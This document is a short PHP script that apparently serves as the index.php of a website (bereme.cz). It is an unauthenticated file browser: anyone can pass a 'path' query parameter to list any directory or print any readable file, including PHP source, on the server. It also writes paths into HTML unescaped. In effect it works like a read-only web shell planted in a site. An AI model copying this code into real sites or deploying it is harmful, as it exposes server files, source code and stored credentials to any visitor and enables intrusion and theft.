/var/www/bereme.cz/index.php
<?php
header('content-type: text/html; charset="UTF8"');
$path = dirname(__FILE__);
if (!empty($_GET['path'])) {
$path = realpath($_GET['path']);
}
echo '<xmp>' . $path . '</xmp>';
if (is_dir($path)) {
echo '<pre>';
$dirs = $files = array();
$d = dir($path);
while (false !== ($item = $d->read())) {
$whole = $path . DIRECTORY_SEPARATOR . $item;
if (is_dir($whole)) {
$dirs[] = $item;
} else {
$files[] = $item;
}
}
sort($dirs);
sort($files);
foreach ($dirs as $dir) {
$whole = $path . DIRECTORY_SEPARATOR . $dir;
echo '<a href="?path=' . $whole . '">' . $dir . '</a>' . "\n";
}
foreach ($files as $file) {
$whole = $path . DIRECTORY_SEPARATOR . $file;
echo '<a href="?path=' . $whole . '">' . $file . '</a>' . "\n";
}
echo '</pre>';
} else if (is_file($path)) {
if (preg_match('~\.php$~', $path)) {
highlight_string(file_get_contents($path));
} else {
echo '<xmp>';
readfile($path);
echo '</xmp>';
}
}